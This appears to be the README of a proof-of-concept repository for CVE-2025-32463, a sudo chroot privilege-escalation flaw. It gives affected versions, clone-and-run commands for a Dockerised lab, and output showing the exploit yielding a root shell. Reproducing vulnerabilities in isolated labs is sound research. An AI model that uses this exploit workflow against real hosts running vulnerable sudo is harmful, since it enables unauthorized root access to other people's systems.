This repository provides a minimal, reproducible environment to demonstrate the CVE‑2025‑32463 privilege‑escalation flaw in sudo’s chroot feature.
| File | Purpose |
|---|---|
| Dockerfile | Builds an Ubuntu 24.04 image with vulnerable sudo 1.9.16p2 and build tools |
| sudo‑chwoot.sh | Proof‑of‑concept exploit that spawns a root shell inside the chroot |
| run.sh | Helper script that builds the image (if needed) and launches the exploit container |
Vulnerable builds of sudo 1.9.14 up to 1.9.17 (all p‑revisions) on most Linux distributions are affected.
# 1 – clone repo
$ git clone https://github.com/pr0v3rbs/CVE-2025-32463_chwoot.git
$ cd CVE-2025-32463_chwoot
# 2 – build and run Docker image (tagged "sudo-chwoot")
$ ./run.sh
# 3 – run exploit in container (drops you into a root shell)
pwn@0da3726bd81f:~$ ./sudo-chwoot.sh
woot!
root@0da3726bd81f:/# id
uid=0(root) gid=0(root) groups=0(root),1001(pwn)
run.sh passes --privileged and --rm to Docker so the container cleans itself up when you exit.
Remove the image when you’re done:
docker rmi sudo-chwoot
